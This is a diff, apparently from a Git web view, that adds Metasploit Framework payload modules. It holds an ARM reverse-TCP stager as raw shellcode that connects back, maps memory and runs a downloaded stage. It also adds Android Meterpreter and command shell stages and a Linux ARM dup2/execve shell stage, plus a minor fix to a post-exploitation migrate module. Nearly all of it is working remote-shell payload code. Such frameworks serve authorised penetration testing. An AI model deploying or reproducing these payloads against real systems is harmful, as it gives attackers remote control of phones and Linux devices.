0xe3a01001, # mov r1, #1
0xe3a02006, # mov r2, #6
0xef000000, # svc 0x00000000
0xe1a0c000, # mov ip, r0
0xe2877002, # add r7, r7, #2
0xe28f1090, # add r1, pc, #144
0xe3a02010, # mov r2, #16
0xef000000, # svc 0x00000000
0xe1a0000c, # mov r0, ip
0xe24dd004, # sub sp, sp, #4
0xe2877008, # add r7, r7, #8
0xe1a0100d, # mov r1, sp
0xe3a02004, # mov r2, #4
0xe3a03000, # mov r3, #0
0xef000000, # svc 0x00000000
0xe59d1000, # ldr r1, [sp]
0xe59f3070, # ldr r3, [pc, #112]
0xe0011003, # and r1, r1, r3
0xe3a02001, # mov r2, #1
0xe1a02602, # lsl r2, r2, #12
0xe0811002, # add r1, r1, r2
0xe3a070c0, # mov r7, #192
0xe3e00000, # mvn r0, #0
0xe3a02007, # mov r2, #7
0xe59f3054, # ldr r3, [pc, #84]
0xe1a04000, # mov r4, r0
0xe3a05000, # mov r5, #0
0xef000000, # svc 0x00000000
0xe2877063, # add r7, r7, #99
0xe1a01000, # mov r1, r0
0xe1a0000c, # mov r0, ip
0xe3a03000, # mov r3, #0
0xe59d2000, # ldr r2, [sp]
0xe2422ffa, # sub r2, r2, #1000
0xe58d2000, # str r2, [sp]
0xe3520000, # cmp r2, #0
0xda000002, # ble 80fc <last>
0xe3a02ffa, # mov r2, #1000
0xef000000, # svc 0x00000000
0xeafffff7, # b 80dc <loop>
0xe2822ffa, # add r2, r2, #1000
0xef000000, # svc 0x00000000
0xe1a0f001, # mov pc, r1
0x5c110002, # .word 0x5c110002
0x0100007f, # .word 0x0100007f
0x00000119, # .word 0x00000119
0xfffff000, # .word 0xfffff000
0x00001022 # .word 0x00001022
].pack("V*")
}
))
end
def handle_intermediate_stage(conn, payload)
print_status("Transmitting stage length value...(#{payload.length} bytes)")
address_format = 'V'
# Transmit our intermediate stager
conn.put( [ payload.length ].pack(address_format) )
Rex::ThreadSafe.sleep(0.5)
return true
end
end
@@ -0,0 +1,51 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/payload/dalvik'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/meterpreter_java'
require 'msf/base/sessions/meterpreter_options'
module Metasploit3
include Msf::Sessions::MeterpreterOptions
# The stager should have already included this
#include Msf::Payload::Java
def initialize(info = {})
super(update_info(info,
'Name' => 'Android Meterpreter',
'Description' => 'Run a meterpreter server on Android',
'Author' => [
'mihi', # all the hard work
'egypt' # msf integration
],
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'License' => MSF_LICENSE,
'Session' => Msf::Sessions::Meterpreter_Java_Java))
end
#
# Override the Payload::Dalvik version so we can load a prebuilt jar to be
# used as the final stage
#
def generate_stage
clazz = 'androidpayload.stage.Meterpreter'
file = File.join(Msf::Config.data_directory, "android", "metstage.jar")
metstage = File.open(file, "rb") {|f| f.read(f.stat.size) }
file = File.join(Msf::Config.data_directory, "android", "meterpreter.jar")
met = File.open(file, "rb") {|f| f.read(f.stat.size) }
# Name of the class to load from the stage, the actual jar to load
# it from, and then finally the meterpreter stage
java_string(clazz) + java_string(metstage) + java_string(met)
end
end
+49
View File
@@ -0,0 +1,49 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/payload/dalvik'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit3
# The stager should have already included this
#include Msf::Payload::Java
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(update_info(info,
'Name' => 'Command Shell',
'Description' => 'Spawn a piped command shell (sh)',
'Author' => [
'mihi', # all the hard work
'egypt' # msf integration
],
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'License' => MSF_LICENSE,
'Session' => Msf::Sessions::CommandShell))
end
#
# Override the {Payload::Dalvik} version so we can load a prebuilt jar
# to be used as the final stage
#
def generate_stage
clazz = 'androidpayload.stage.Shell'
file = File.join(Msf::Config.data_directory, "android", "shell.jar")
shell_jar = File.open(file, "rb") {|f| f.read(f.stat.size) }
# Name of the class to load from the stage, and then the actual jar
# to load it from
java_string(clazz) + java_string(shell_jar)
end
end
+52
View File
@@ -0,0 +1,52 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit3
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Linux dup2 Command Shell',
'Description' => 'dup2 socket in r12, then execve',
'Author' => 'nemo <nemo[at]felinemenace.org>',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_ARMLE,
'Session' => Msf::Sessions::CommandShell,
'Stage' =>
{
'Payload' =>
[
0xe3a0703f, # mov r7, #63 ; 0x3f
0xe3a01003, # mov r1, #3
0xe1a0000c, # mov r0, ip
0xe2411001, # sub r1, r1, #1
0xef000000, # svc 0x00000000
0xe3510001, # cmp r1, #1
0xaafffffa, # bge 805c <up>
0xe3a0700b, # mov r7, #11
0xe28f0018, # add r0, pc, #24
0xe24dd018, # sub sp, sp, #24
0xe50d0014, # str r0, [sp, #-20]
0xe3a02000, # mov r2, #0
0xe50d2010, # str r2, [sp, #-16]
0xe24d1014, # sub r1, sp, #20
0xe1a02001, # mov r2, r1
0xef000000, # svc 0x00000000
0x6e69622f, # .word 0x6e69622f
0x0068732f # .word 0x0068732f
].pack("V*")
}
))
end
end
+1 -1
View File
@@ -61,7 +61,7 @@ class Metasploit3 < Msf::Post
return true
rescue ::Exception => e
print_error("Could not migrate in to process.")
print_error(e)
print_error(e.to_s)
return false
end
end